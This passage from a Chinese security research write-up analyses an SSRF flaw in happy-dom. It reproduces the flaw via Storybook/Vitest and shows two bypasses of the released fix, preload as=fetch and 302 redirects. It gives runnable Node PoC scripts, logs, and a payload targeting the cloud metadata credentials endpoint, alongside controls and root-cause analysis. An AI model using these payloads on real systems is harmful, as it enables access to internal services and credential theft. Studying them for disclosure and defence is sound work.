[STORYBOOK-POC] iframe-reflected-content="SECRET: INTERNAL-ONLY-TOKEN-cve-2026-118660 (cloud-metadata-like internal data)"
[STORYBOOK-POC] RESULT=internal-secret-leaked (iframe content readable by story code)
✓ storybook-happy-dom src/user-content.stories.js (1 test) 24ms
✓ Submitted comment (attacker-controlled HTML) 23ms
Test Files 1 passed (1)
Tests 1 passed (1)
Start at 22:33:32
Duration 356ms

图 5-5 5.3.4 docker compose run --rm app:测试通过的同时打出回显的机密 token(图片:05-storybook-05-漏洞触发-运行Storybook测试链-01.png)
这里值得停一下:测试是通过的。没有任何断言失败,没有任何异常,日志里的 stylesheets-loaded 甚至像一条正常的调试信息。SSRF 不是以"报错"的形式出现的。
5.3.5 内网服务侧取证
docker compose logs intranet
intranet-1 | [intranet] internal-only service on :3000 (token=INTERNAL-ONLY-TOKEN-cve-2026-118660)
intranet-1 | [SSRF-HIT] 2026-11-05T22:33:32.956Z GET /attacker-probe.css from ::ffff:172.18.0.3 | internal-only service reached! (vector: <link rel=stylesheet>)
intranet-1 | [SSRF-HIT] 2026-11-05T22:33:32.957Z GET /secret/metadata from ::ffff:172.18.0.3 | internal-only service reached! (vector: <iframe src>)

图 5-6 5.3.5 内网服务日志:两条 [SSRF-HIT],来源 ::ffff:172.18.0.3(图片:05-storybook-06-内网服务命中日志-01.png)
5.4 证据解读
**来源 IP 是 **
172.18.0.3,即运行 Storybook 测试链的app容器;提交 HTML 的攻击者对intranet没有任何直接访问通道。两条请求间隔 1ms(.956Z / .957Z),落在 5.3.4 中 24ms 完成的同一个测试时间窗内,说明它们来自同一次
innerHTML解析,而不是两次独立操作。整个测试仅 23–24ms 也排除了等待、重试这类偶然因素。两条命中分别对应
<link>与<iframe>向量,路径/attacker-probe.css、/secret/metadata与 story 里写死的 URL 完全一致。token 出现在两个位置:
intranet自己的响应体,以及 5.3.4 的测试 stdout。后者是play函数从iframe.contentDocument中读出的,证明数据已经进入受害进程,完成了从 SSRF 到信息泄露的最后一步。
关于同源设定的说明
vitest.config.js 把 environmentOptions.happyDOM.url 设成与内网服务同源的 http://intranet:3000/story,用于演示 play 读取 iframe 内容这条回显路径——同源时 happy-dom 才允许脚本读取 contentDocument。
SSRF 出网请求本身与同源与否无关。 两次命中都发生在解析 innerHTML 的瞬间,此时 URL 只是给文档一个基准地址;真实跨源场景下请求同样会发出,区别仅在于 story 代码读取 iframe 内容时受同源策略限制。即跨源只会削弱"回显",不会削弱"出网"。
这与 4.7.3 的结论也对得上:真正决定"能不能读到"的是宿主应用能否走 frame 树(childFrames[i].window.document),而不是页面脚本能否过 contentWindow 代理。story 里用 contentDocument 是为了演示最"规矩"的一条路,实际危害面比它更宽。
5.5 对照实验:修复版与官方缓解
单次触发只能证明"能打",还不足以证明"打的就是这个漏洞"。因此补两组对照,共用同一份 story、同一套命令,只改版本或配置:
组别 | happy-dom | 配置 | 内网命中 | 机密回显 | 判定 |
|---|---|---|---|---|---|
1. 漏洞复现 | 17.6.3(storybook 仓库 yarn.lock 实测解析版本) | 默认 | 2 次 | 是(token 完整回显) | ✅ 漏洞触发 |
2. 修复对照 | 21.0.4 | 默认 | 0 次 | 否 | ✅ 修复版有效 |
3. 缓解对照 | 17.6.3 |
| 0 次 | 否 | ✅ 官方缓解有效 |
切换配置用 --no-save,只改 node_modules,不动 package.json:
# 组 2:升级到修复版
docker compose run --rm -e HAPPY_DOM_VERSION=21.0.4 app
# 组 3:留在 17.6.3,打开两个 disable 开关(settings 由 vitest 配置透传)
docker compose run --rm \
-e HAPPY_DOM_VERSION=17.6.3 \
-e 'HAPPY_DOM_SETTINGS={"disableIframePageLoading":true,"disableCSSFileLoading":true}' \
app

图 5-7 5.5 组 2(21.0.4):CSS file loading is disabled_ / Iframe page loading is disabled(图片:05-storybook-07-修复对照-happy-dom-21.0.4-01.png)_

图 5-8 5.5 组 3(17.6.3 + 两个 disable 开关):同样 RESULT=no-iframe-content-reflected(图片:05-storybook-09-缓解对照-官方disable开关-01.png)
两组的共同结果:
intranet侧 **0 条 **[SSRF-HIT](对照组运行前用--force-recreate重建内网服务清空日志,避免上一组记录污染断言);story 输出
RESULT=no-iframe-content-reflected;happy-dom 21 还会在控制台打出
Iframe page loading is disabled一类错误,是"默认值翻转"生效的直接证据。

图 5-9 5.5 组 2 的 intranet 日志:只有启动行,0 条 [SSRF-HIT](图片:05-storybook-08-修复对照-内网服务无命中-01.png)

图 5-10 5.5 组 3 的 intranet 日志:同样 0 条命中(图片:05-storybook-10-缓解对照-内网服务无命中-01.png)
用 verify.sh 把三组串起来做严格断言(版本、命中条数、回显内容逐项校验):
./verify.sh # 结束后自动 docker compose down,镜像保留
RESULT: 9 passed, 0 failed

图 5-11 5.5 ./verify.sh:三组 9 项断言全过(图片:05-storybook-11-一键验证-verify.sh-01.png)
9 项断言全部通过,"漏洞组 2 次命中 + 修复组 0 命中 + 缓解组 0 命中"因此可重复、可自动判定,而不依赖人工比对截图。
5.6 为什么这是真实风险,而不只是"测试噪音"
"测试里加载一个 iframe,本来就该发生"这个说法忽略了三件事。第一件事在 2.5 已经说过——发起方从浏览器变成了 Node 进程——这里只补另外两件。
攻击入口是普通业务输入。 攻击者不需要接触 story 代码,只需提交一段带 <iframe> 的评论或富文本。项目只要存在"渲染用户 HTML"的组件,并在测试或预渲染中经过 happy-dom,用户输入就直接变成了服务端请求。Storybook 只是恰好提供了一个现成的、编译好的渲染管线。
测试进程往往被信任。 CI 日志里的外部 URL 请求通常不会被当成安全事件,测试环境的出网限制也常比生产环境宽松。而这类请求又发生在"测试通过"的绿色输出里,既没有异常也没有失败,正好落在监控的盲区。这让整条路径既好用又隐蔽。
所以修复动作不是"把测试里的 iframe 删掉",而是让 DOM 实现默认不再自动加载外部资源——以及,在应用侧承认"渲染用户 HTML"本身就是一条需要设防的链路。
5.7 与第三章的对照
维度 | 第三章(自建应用) | 本章(Storybook + Vitest) |
|---|---|---|
入口 |
|
|
DOM 提供方 | 应用自己 | vitest 的 happy-dom 环境 |
受影响版本 | 20.14.6 | 17.6.3 |
请求发起进程 | web 容器里的 Node 进程 | 测试容器里的 Node 进程 |
数据回显方式 | 应用读 |
|
共同点 | 两个向量、同一次解析、默认配置 | 同左 |
两条链在函数层面完全重合:都是 innerHTML / document.write 进入 HTMLParser,都是连接边沿触发 connectedToDocument,最后都落到 Fetch.sendRequest。差异只在宿主怎么用这个库。
下一章讨论最后一件事:如果升级到修复版本,这条链还通不通?
六、修复版本的绕过尝试
21.0.0 的修复把两个默认值翻了过来。这一章要回答两个问题:
这个修复模型盖住了哪些出口,又漏了哪些?
如果使用方按公告自行加了一道过滤,这道过滤算不算边界?
实验分两个方向:方向一在库内找一个补丁没盖到的声明式出口;方向二在库外,假设应用层已经加了"只允许相对 / 同源 href"的过滤器,看它能不能把请求送到内网。
6.1 补丁与基线
修复 commit 的行为改动只有三处:
位置 | 修复前 | 修复后 |
|---|---|---|
| 只有 | 新增 |
| 只检查 | 双条件: |
| 只检查 | 双条件: |
三处分别落在 lib/browser/DefaultBrowserSettings.js、lib/nodes/html-iframe-element/HTMLIFrameElement.js 的 #loadPage、lib/nodes/html-link-element/HTMLLinkElement.js 的 #loadStyleSheet 与 #preloadResource 的 style 分支上。
它没有做的是:URL allowlist、内网网段过滤、重定向目标校验、统一的 Fetch 出网策略。对照 4.4 与 4.5 的结论,这正好意味着"出口仍然是原来那个出口,只是在几个入口前加了门"。
原 CVE 的向量只有两个标签:
<link rel="stylesheet" href="http://内网/style.css">
<iframe src="http://内网/metadata"></iframe>
同一份 HTML 分别在 20.14.6 与 21.0.4 的默认设置下解析,期望命中数从 2 变成 0。
6.1.1 本地基线脚本
先建两个目录,各装一个版本,把下面这份脚本分别复制进去运行:
mkdir -p baseline/v20 baseline/v21
# 把 baseline-check.mjs 分别放进两个目录
(cd baseline/v20 && npm init -y >/dev/null && npm install happy-dom@20.14.6)
(cd baseline/v21 && npm init -y >/dev/null && npm install happy-dom@21.0.4)
(cd baseline/v20 && node baseline-check.mjs)
(cd baseline/v21 && node baseline-check.mjs)
// baseline-check.mjs —— 原 CVE 向量在默认设置下的对照
import http from 'node:http';
import { readFileSync } from 'node:fs';
import { Window } from 'happy-dom';
const PORT = 31091, BASE = `http://127.0.0.1:${PORT}`;
const hits = [];
const server = http.createServer((req, res) => {
if (req.url === '/report') { res.writeHead(200); return res.end(JSON.stringify(hits)); }
hits.push(req.url);
const css = req.url.endsWith('.css');
res.writeHead(200, { 'Content-Type': css ? 'text/css' : 'text/html' });
res.end(css ? 'body{color:red}' : '<html><body>SECRET: INTERNAL-ONLY-TOKEN</body></html>');
});
await new Promise((r) => server.listen(PORT, '127.0.0.1', r));
const { version } = JSON.parse(readFileSync('./node_modules/happy-dom/package.json', 'utf8'));
console.log(`happy-dom@${version} | new Window({ url }) // 不传 settings`);
const w = new Window({ url: BASE + '/' });
w.document.write(`<link rel="stylesheet" href="${BASE}/style.css"><iframe src="${BASE}/metadata"></iframe>`);
await new Promise((r) => setTimeout(r, 1500));
const frame = w.document.querySelector('iframe');
const win = frame.contentWindow;
const reflected = win && win.document.body ? win.document.body.innerHTML : null;
console.log('hits :', hits.length, hits.join(', ') || '(none)');
console.log('iframeContent:', reflected === null ? 'null (no contentWindow)' : JSON.stringify(reflected));
w.close(); server.close();
实测输出。
修复前(20.14.6):
happy-dom@20.14.6 | new Window({ url }) // 不传 settings
hits : 2 /style.css, /metadata
iframeContent: "SECRET: INTERNAL-ONLY-TOKEN"
修复后(21.0.4):
happy-dom@21.0.4 | new Window({ url }) // 不传 settings
hits : 0 (none)
iframeContent: null (no contentWindow)
原始 PoC 用
Browser,在 app 容器里解析 HTML,目标是一个只在内网可达的容器服务;这里用Window。两者最终都落到同一个Fetch出口,载荷与判定结论一致。换成Window是为了让后续绕过实验不依赖 Docker,跑得更快、更容易复现。
6.2 实验设置与判定
6.2.1 环境
项 | 值 |
|---|---|
Node | 26.12.1 实测,20+ 可运行 |
happy-dom | 21.0.4,版本写死,不用 |
平台 | macOS arm64 实测,Linux 亦可 |
网络 | 只走 |
端口 | 30091 / 30092 / 31091,冲突可换 |
依赖 | Node 内置模块 + |
文中 lib/**/*.js 的行号都取自 21.0.4 的编译产物。21.0.0 到 21.0.4 之间 Fetch.js 有过改动(handleRedirectResponse 里补上了跨源重定向删除 Authorization 的处理),行号基本对得上,但代码内容会差一段,对照时以 21.0.4 为准。
6.2.2 三个测试
测试 | 验证什么 | 载荷 | 判定 |
|---|---|---|---|
基线 | 补丁对被报告的两条路径有效 | iframe + stylesheet | 命中数 2 → 0 |
方向一 | 补丁没盖全加载出口 |
| 对照组 0 命中,向量命中 |
方向二 | 应用层 href 过滤看不到最终目标 | 同源相对路径 + 302 | A 端完整 GET,B 端收到 |
6.2.3 判定规则
判定按下面六条:
构造
Window不传settings,并打印实际生效的开关值:结论要落在默认配置上。每个向量单开一个
Window,不复用页面:preload 缓存、连接池和上一轮的状态都会串进来。必须有对照组,且对照组一条都不命中;命中说明环境或设置不对,这轮结果作废。
以对端服务的请求日志为准,记方法和路径。判断出没出网看日志,不看客户端有没有报错。
读日志前等 1.2–1.5 秒。Fetch 是异步的,读早了会把"还没到"当成"被拦"。
由脚本断言并返回退出码,
0才算通过:避免肉眼漏看,也方便接 CI。
这六条和第三章"证据分三层"的思路是同一套:不依赖单一信号,先证明出口开着,再证明某条路径没被拦住。
6.3 方向一:<link rel="preload" as="fetch">
补丁在 #preloadResource 的 style 分支和 iframe 加载点各加了一道检查。同一个函数里除 style、script 外是否还有第三个分支、它是否受检查,决定了补丁覆盖是否完整。
问题不在"又发现一个新漏洞",而在覆盖:若修复模型是"在每个已知出口前加检查",安全性就取决于出口枚举的完备性,漏掉一个,性质即不成立。
6.3.1 代码路径
#preloadResource 先过滤 as,再按分支决定是否继续。v21.0.4 的实现(节选,注释为本文所加):
// lib/nodes/html-link-element/HTMLLinkElement.js:294-346
async #preloadResource(url: string): Promise<void> {
const window = this[PropertySymbol.window];
const browserFrame = new WindowBrowserContext(window).getBrowserFrame();
const as = this.as;
// 支持列表:只有 "script"、"style" 和 "fetch"
if (
!browserFrame ||
!this[PropertySymbol.isConnected] ||
(as !== 'script' && as !== 'style' && as !== 'fetch')
) {
return;
}
const browserSettings = browserFrame.page.context.browser.settings;
// 检查 1:script(补丁之前就有)
if (as === 'script' &&
(browserSettings.disableJavaScriptFileLoading || !browserSettings.enableJavaScriptEvaluation)) {
return;
}
// 检查 2:style(补丁新增)
if (as === 'style' &&
(browserSettings.disableCSSFileLoading || !browserSettings.enableCSSFileLoading)) {
return;
}
// ← as === 'fetch' 不进入检查,直接落到这里
const absoluteURL = new URL(url, window.location.href).href;
const fetch = new Fetch({
browserFrame,
window,
url: absoluteURL,
disableSameOriginPolicy: as === 'script' || as === 'style', // fetch: false
disablePreload: true,
init: { credentials: this.crossOrigin === 'use-credentials' ? 'include' : 'same-origin' }
});
const response = await fetch.send(); // ← 出网(响应处理略)
}
支持列表只有 script、style、fetch;前两个各有一道检查,fetch 通过白名单后直接落到 new Fetch({...}).send(),没有任何 browserSettings 检查。as="font" 之类的值在第一个 if 就返回,走不到检查分支。
补丁对这个函数的改动只落在 style 分支上。fetch 分支在 v20.14.6 就能出网,并非补丁引入;补丁关掉相邻两个分支后,它成了默认配置下唯一没有检查的声明式出口。
注意这里和 4.6.2 的对照关系:原 CVE 的 style 路径走的是 #loadStyleSheet,补丁在那里加了 enableCSSFileLoading;而 rel="preload" 走的是同类的另一个函数 #preloadResource,补丁只在它的 style 分支上加了检查。一个元素、两个加载函数、三个分支,覆盖差异就出在这里。
6.3.2 载荷
<link rel="preload" as="fetch" href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
注入前提与原 CVE 相同:应用把攻击者可控的 HTML 交给 happy-dom 在服务端解析(document.write、window.loadHTML、DOMParser 后挂载等)。
6.3.3 本地复现
mkdir -p scheme1 && cd scheme1
npm init -y >/dev/null
npm install happy-dom@21.0.4
# 保存下面的脚本为 scheme1-verify.mjs
node scheme1-verify.mjs; echo "exit=$?"
// scheme1-verify.mjs —— 默认设置下,5 个控制组 + 1 个向量
import http from 'node:http';
import { Window } from 'happy-dom';
const PORT = 30091, BASE = `http://127.0.0.1:${PORT}`;
const hits = [];
const server = http.createServer((req, res) => {
if (req.url === '/report') { res.writeHead(200); return res.end(JSON.stringify(hits)); }
hits.push(req.url);
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end(req.url.startsWith('/metadata') ? 'SECRET-ROLE: admin' : 'ok');
});
await new Promise((r) => server.listen(PORT, '127.0.0.1', r));
// 证明:构造 Window 时没有传 settings
const s = new Window({ url: BASE + '/' }).happyDOM.settings;
console.log('runtime settings:', JSON.stringify({
enableCSSFileLoading: s.enableCSSFileLoading,
enableIframePageLoading: s.enableIframePageLoading,
enableImageFileLoading: s.enableImageFileLoading,
enableJavaScriptEvaluation: s.enableJavaScriptEvaluation
}));
const rounds = [
['control stylesheet', `<link rel="stylesheet" href="${BASE}/metadata?vec=ctrl-stylesheet">`, false],
['control iframe', `<iframe src="${BASE}/metadata?vec=ctrl-iframe"></iframe>`, false],
['control script', `<script src="${BASE}/metadata?vec=ctrl-script"></script>`, false],
['control img', `<img src="${BASE}/metadata?vec=ctrl-img">`, false],
['control as=font', `<link rel="preload" as="font" href="${BASE}/metadata?vec=ctrl-font">`, false],
['VECTOR as=fetch', `<link rel="preload" as="fetch" href="${BASE}/metadata?vec=vector">`, true]
];
for (const [, html] of rounds) {
const w = new Window({ url: BASE + '/' }); // 关键:不传 settings
w.document.write(html);
await new Promise((r) => setTimeout(r, 1200));
w.close();
}
const report = await (await fetch(`${BASE}/report`)).json();
console.log('hit log:', report.join(', ') || '(empty)');
let failed = false;
for (const [name, html, expectHit] of rounds) {
const vec = html.match(/vec=([\w-]+)/)[1];
const hit = report.some((u) => u.includes('vec=' + vec));
if (hit !== expectHit) failed = true;
console.log(` [${hit === expectHit ? 'PASS' : 'FAIL'}] ${name.padEnd(20)} ${hit ? 'REACHED' : 'blocked'}`);
}
console.log(failed ? 'RESULT: FAILED' : 'RESULT: BYPASS CONFIRMED');
server.close();
process.exit(failed ? 1 : 0);
前四个控制组对应补丁关闭或本来就关闭的加载路径,as="font" 对应白名单拒绝;只有 as="fetch" 预期命中。
6.3.4 结果
runtime settings: {"enableCSSFileLoading":false,"enableIframePageLoading":false,"enableImageFileLoading":false,"enableJavaScriptEvaluation":false}
hit log: /metadata?vec=vector
[PASS] control stylesheet blocked
[PASS] control iframe blocked
[PASS] control script blocked
[PASS] control img blocked
[PASS] control as=font blocked
[PASS] VECTOR as=fetch REACHED
RESULT: BYPASS CONFIRMED
退出码 0。

图 6-1 6.3.4 默认设置下的判定:5 个控制组被拦,preload as="fetch"_ 命中(图片:06-bypass1-05-默认设置下触发绕过-01.png)_
6.3.5 边界条件:CORS 决定这条路径能走多远
这条路径受 CORS 约束,能否实际发出请求取决于基址与目标的关系。基址对照(同一台机器,两个端口区分 origin):
解析上下文基址 | 载荷 | 观测 |
|---|---|---|
与目标同源 |
|
|
与目标跨源,默认属性 | 同上 | 无任何网络包 |
与目标跨源, | 同上 |
|
| 同上 | 无包 |
复跑方式:脚本本身是同源形态;另起一个回环端口作目标即跨源;加 crossorigin="use-credentials" 即第三种;about:blank 直接作为 url。
跨源、默认属性时一个包都发不出,原因是预检与主请求互相等待,这本身是一个独立缺陷:
主请求在
HTMLLinkElement里先注册一个 preload entry,key 是{ url, destination: 'fetch', mode: 'cors', credentialsMode: 'same-origin' };然后用
disablePreload: true建Fetch,跳过自己的缓存查找,进入Fetch.send();页面基址与目标跨源,
Fetch.send()进入 CORS 预检,另建一个Fetch发OPTIONS;这个预检
Fetch没有设disablePreload,在默认属性下,它用同一个 URL / destination / mode / credentials 计算 preload key,命中了主请求自己注册的 entry;预检执行
await preloadEntry.onResponseAvailable(),等待主请求完成;而主请求正在等待预检结果——互相等待,首包永远不发出。
use-credentials 之所以能打破等待,是因为 preload key 里包含 credentialsMode:主请求用 include,预检用默认的 same-origin,两者不再命中同一个 entry。
实测跨源 + use-credentials、目标回 Access-Control-Allow-Origin: * 时,目标端依次收到 OPTIONS /metadata 与 GET /metadata:
target hits: OPTIONS /metadata, GET /metadata
所以,这条路径的完整 GET 需要两个条件之一:基址与目标同源,或目标对 CORS 宽松。否则它最多是一次盲探测(OPTIONS),甚至完全静默。
这是 happy-dom 的 CORS 实现带来的限制,并不改变该分支没有检查这一事实:若页面基址就是目标(如按用户 URL 设置 page.url 的预览功能),它就是完整 GET;基址固定时,它仍是方向二的基础。
CORS 限制的是跨源读取,不是出网。只要预检能发出去,OPTIONS 本身就是一次出网;被拦住的是后续 GET 和响应体。目标没回 ACAO 只能说明读不到数据,不能说明没有 SSRF。
6.3.6 为什么会漏掉这一支
语义错位:
preload在浏览器里是"提示",不是"资源类型"。修 CSS / iframe 的人会自然地把as="style"和<link rel="stylesheet">放在一起看,而as="fetch"更像 fetch API 的预热,不在"外部资源加载"的清单里。没有对应开关:补丁做的是"翻转默认值",而
as="fetch"从来没有一个enableFetchPreloading之类的开关。没有开关,就不会出现在"默认值清单"里,也就不会被顺手翻转。白名单被误当成授权:
as列表回答的是"这个值合不合法",不是"这个值允不允许出网"。fetch合法,但它没有被授权。
6.4 方向二:302 重定向
6.4.1 威胁模型
方向一假设使用方什么都没加。现实中更可能发生的是:使用方读了公告,在应用层补了一道 href 检查,只允许相对路径或同源 URL。
// 应用层的"安全 href 检查"(示意)
const target = new URL(href, pageBase);
if (target.origin !== pageBase.origin) {
throw new Error('blocked: cross-origin href');
}
这道检查能挡住方向一的绝对 URL 载荷。但它检查的是HTML 里的 href 字符串,不是 happy-dom 最终会请求的 URL。由此产生第二个方向的问题:
如果过滤器只放行同源 / 相对路径,攻击者还能不能把请求送到内网?
实验没有实现这个过滤器,而是用只含相对路径的载荷;这类载荷任何"只允许相对 / 同源"的过滤器都会放行。这里验证的是过滤思路的盲区,与具体实现无关。
6.4.2 载荷
<link rel="preload" as="fetch" href="/redirect-same"> <!-- A:302 -> /metadata -->
<link rel="preload" as="fetch" href="/redirect-cross"> <!-- B:302 -> 另一台内网主机 -->
/redirect-* 是应用域上任何会返回 302 的端点的替身:开放重定向、短链、登录回跳、?next= 参数。它们本身可能不是漏洞,但在服务端解析器里,它们是网络跳板。
过滤器视角完全无害;真实目标由 Location 决定。
6.4.3 重定向处理
Fetch 对 3xx 的处理在 handleRedirectResponse:取 Location,做最大跳数检查,然后用 redirectCount + 1 新建一个 Fetch 并直接 .send()。
// lib/fetch/Fetch.js:696-779(节选)
handleRedirectResponse(nodeResponse, responseHeaders) {
if (!isRedirect(nodeResponse.statusCode)) {
return false;
}
switch (this.request.redirect) {
case 'follow':
const locationHeader = responseHeaders.get('Location');
const locationURL = new URL(locationHeader, this.request.url);
if (isMaxRedirectsReached(this.redirectCount)) {
// 最多 20 跳
this.reject(new DOMException('Maximum redirects reached'));
return true;
}
const headers = new Headers(this.request.headers);
if (isCORS(this.request.url, locationURL)) {
headers.delete('authorization'); // 跨源只删认证头
}
// ... Cookie 按 credentials 规则删除 ...
const fetch = new Fetch({
browserFrame: this.#browserFrame,
window: this.#window,
url: locationURL,
init: requestInit,
redirectCount: this.redirectCount + 1,
disableSameOriginPolicy: this.disableSameOriginPolicy,
contentType: ...
});
this.finalizeRequest();
fetch.send().then((response) => this.resolve(response)).catch((error) => this.reject(error));
return true;
}
}
几个关键点:
3xx 列表是
301 / 302 / 303 / 307 / 308,最多 20 跳;Location相对当前请求 URL 解析,不是相对页面基址;跨源重定向只删
Authorization;Cookie按 credentials 规则删;全程没有"最终目标是否属于私网"的检查。

图 6-2 6.4.3 源码证据:redirectCount + 1_ 重建 Fetch 后直接 send,没有目标网段校验(图片:06-bypass2-13-源码证据-重定向无条件跟随-01.png)_
6.4.4 实验拓扑
本地用两个回环端口模拟两台主机(origin = scheme + host + port,端口不同即跨源):

图 6-3 6.4.4 方案 2 的实验拓扑:A 完整 GET,B 以 OPTIONS 预检到达(图片:00-diagram-scheme2-redirect-302.jpg)
6.4.5 本地复现
mkdir -p scheme2 && cd scheme2
npm init -y >/dev/null
npm install happy-dom@21.0.4
# 保存下面的脚本为 scheme2-verify.mjs
node scheme2-verify.mjs; echo "exit=$?"
// scheme2-verify.mjs —— 同源 href + 302,检验应用层 href 过滤的盲区
import http from 'node:http';
import { Window } from 'happy-dom';
const INT = 'http://127.0.0.1:30091', INT2 = 'http://127.0.0.1:30092';
const log = [], log2 = [];
const internal = http.createServer((req, res) => {
const path = req.url.split('?')[0];
if (path === '/report') { res.writeHead(200); return res.end(JSON.stringify(log)); }
log.push(req.method + ' ' + req.url);
if (path === '/redirect-same') { res.writeHead(302, { Location: '/metadata?vec=same-hop2' }); return res.end(); }
if (path === '/redirect-cross') { res.writeHead(302, { Location: INT2 + '/metadata?vec=cross-hop2' }); return res.end(); }
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end(path.startsWith('/metadata') ? 'SECRET-ROLE: admin' : 'ok');
});
const internal2 = http.createServer((req, res) => {
const path = req.url.split('?')[0];
if (path === '/report') { res.writeHead(200); return res.end(JSON.stringify(log2)); }
log2.push(req.method + ' ' + req.url);
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('SECRET-ROLE: admin');
});
await Promise.all([
new Promise((r) => internal.listen(30091, '127.0.0.1', r)),
new Promise((r) => internal2.listen(30092, '127.0.0.1', r))
]);
// 证明:构造 Window 时没有传 settings
const s = new Window({ url: INT + '/' }).happyDOM.settings;
console.log('runtime settings:', JSON.stringify({
enableCSSFileLoading: s.enableCSSFileLoading,
enableIframePageLoading: s.enableIframePageLoading,
enableImageFileLoading: s.enableImageFileLoading,
enableJavaScriptEvaluation: s.enableJavaScriptEvaluation
}));
const probe = async (html) => {
const w = new Window({ url: INT + '/' }); // 默认设置,页面基址 = 应用域
w.document.write(html);
await new Promise((r) => setTimeout(r, 1500));
w.close();
};
// 控制组:补丁路径仍然被拦;baseline:出口本身是开的
await probe(`<link rel="stylesheet" href="${INT}/metadata?vec=ctrl">`);
await probe(`<link rel="preload" as="fetch" href="${INT}/metadata?vec=baseline">`);
// 过滤器会放行的两个载荷:都是相对路径
await probe(`<link rel="preload" as="fetch" href="/redirect-same">`);
await probe(`<link rel="preload" as="fetch" href="/redirect-cross">`);
const r1 = await (await fetch(INT + '/report')).json();
const r2 = await (await fetch(INT2 + '/report')).json();
console.log('internal :', r1.join(' | ') || '(empty)');
console.log('internal2:', r2.join(' | ') || '(empty)');
const has = (arr, m, u) => arr.some((x) => x.startsWith(m) && x.includes(u));
const checks = [
['control stylesheet blocked', !r1.some((u) => u.includes('vec=ctrl'))],
['baseline direct GET', has(r1, 'GET', 'vec=baseline')],
['A first hop', has(r1, 'GET', '/redirect-same')],
['A final GET (same-origin)', has(r1, 'GET', 'vec=same-hop2')],
['B first hop', has(r1, 'GET', '/redirect-cross')],
['B final reach internal2', has(r2, 'OPTIONS', 'vec=cross-hop2')]
];
let failed = false;
for (const [name, ok] of checks) { if (!ok) failed = true; console.log(` [${ok ? 'PASS' : 'FAIL'}] ${name}`); }
console.log(failed ? 'RESULT: FAILED' : 'RESULT: BYPASS CONFIRMED (A full GET; B preflight only)');
internal.close(); internal2.close(); process.exit(failed ? 1 : 0);
control stylesheet 仍被拦、baseline 命中、A / B 成立,说明问题不在补丁未生效,而在覆盖不全。
6.4.6 结果
runtime settings: {"enableCSSFileLoading":false,"enableIframePageLoading":false,"enableImageFileLoading":false,"enableJavaScriptEvaluation":false}
internal : GET /metadata?vec=baseline | GET /redirect-same | GET /metadata?vec=same-hop2 | GET /redirect-cross
internal2: OPTIONS /metadata?vec=cross-hop2
[PASS] control stylesheet blocked
[PASS] baseline direct GET
[PASS] A first hop
[PASS] A final GET (same-origin)
[PASS] B first hop
[PASS] B final reach internal2
RESULT: BYPASS CONFIRMED (A full GET; B preflight only)
退出码 0。

图 6-4 6.4.6 重定向链绕过的自动判定:6 项断言全过(图片:06-bypass2-10-重定向链绕过补丁-01.png)

图 6-5 6.4.6 内网两侧的命中日志:所有请求都来自 app 容器(图片:06-bypass2-11-内网命中日志证据-01.png)
6.4.7 A 与 B 的差异
A 形态的最终目标与页面同源,不触发 CORS,所以完整 GET 到达应用域上的敏感路径。这里的"完整"指请求侧:happy-dom 确实把响应读进了进程;响应体不会自动回到攻击者。默认配置下更准确的定性是盲 SSRF + 完整 GET 能力;如果应用把 preload 结果、错误或时序暴露出来,才可能进一步变成可读外泄。
B 形态的最终目标跨源,happy-dom 会先做 CORS 预检;与浏览器不同,它对 simple GET 也预检。OPTIONS 到达 internal2;主 GET 等 Access-Control-Allow-Origin,目标刻意不回,于是被拦。
如果目标是内部对象存储、CDN 或某些内部 API——它们经常回 Access-Control-Allow-Origin: *——主 GET 就会继续。happy-dom 的预检校验接受 *,也接受与页面 origin 相同的值。
这一点可以直接验证:把 internal2 的响应头改成 Access-Control-Allow-Origin: *,其余不变,再跑一次,命中日志就变成:
internal2: OPTIONS /metadata?vec=cross-hop2 | GET /metadata?vec=cross-hop2
B 形态的完整 GET 只差目标的一个响应头;OPTIONS 能到,说明网络可达性已经暴露。
还有一个容易忽略的细节:方向一里"跨源默认属性 → 无包"的死锁,在方向二里没有出现。preload entry 的 key 基于首跳 URL(/redirect-cross)注册,而预检针对的是重定向后的 URL(internal2/metadata),两个 key 不同,预检不会撞上主请求的 entry。
6.5 根因:三个视角看同一处缺失
6.5.1 出口级检查的覆盖率问题
补丁的修复模型是 sink-level gate:每个加载点在发请求前查自己的开关。它在补丁覆盖的路径上是对的,但它把"默认不出网"变成了一个覆盖率问题:

图 6-6 6.5.1 两种出网检查模型对比:sink 级闸门 vs 统一 chokepoint(图片:00-diagram-fetch-sink-gate-vs-chokepoint.jpg)
"默认不出网"是一个全称命题:所有走 Fetch 的 sink 都不出网。只要有一个 sink 不查开关,命题就假。
sink 还会增长。今天枚举完了,明天加一个 <link rel="prefetch"> 或新的资源类型,只要开发者不记得加检查,就又多一个缺口。按出口设的检查,安全性依赖枚举的完备性;而枚举一定会漏。
如果把检查放在 Fetch.send() 这个 chokepoint 上,走 Fetch 的新 sink 会自动受约束;漏掉的分支最多表现为功能不可用,而不会让安全性质失效。(WebSocket 不走 Fetch,需要单独的策略点,这是另一个话题。)
6.5.2 校验与授权混在一起
代码先做了一次"值是否合法"的判断,再做"这个值是否被允许"的判断。前者是输入校验,后者是授权。fetch 通过了前者,却没有进入后者的任何分支。
这是典型的 validate then forget authorization。更安全的写法是把支持列表和检查绑定:对每个支持的 as 都有一个明确的 allow / deny,或者默认拒绝,只有显式允许的分支才继续。
6.5.3 验证点与执行点分离
应用层过滤器在 HTML 层工作,它看到的是字符串;happy-dom 在网络层工作,它看到的是 URL 解析和重定向后的结果。两者之间隔着一个 302。
过滤器看到的: /redirect-same (相对路径,同源,放行)
网络实际请求的: http://internal:8080/metadata?vec=same-hop2
这与传统 TOCTOU(时间差)不同,问题出在表示层面:验证的对象和执行的对象不是同一个。任何"只看 href"的过滤器都不完整,除非它自己解析并跟随重定向,或者把校验下沉到实际发请求的那一层。
同源 href 的"安全性"也不稳定:今天 /redirect 指向 /home,明天可能因开放重定向、短链或运营配置指向别处。过滤器验证的是会变的映射,不是最终目标。
6.5.4 权限继承
重定向不是"再发一个请求"那么简单,它继承了原请求的权限:headers、credentials、referrer、disableSameOriginPolicy。同源重定向保留 Cookie / Authorization;跨源重定向删认证头,但请求仍然发出。
在浏览器里,这通常受用户网络位置限制;在服务端解析器里,请求的起点是应用进程,终点可能是内网。302 因此从"跳转"变成了"权限转移"。开放重定向也不只是钓鱼问题,它在 SSR / SSRF 语境下是网络跳板。
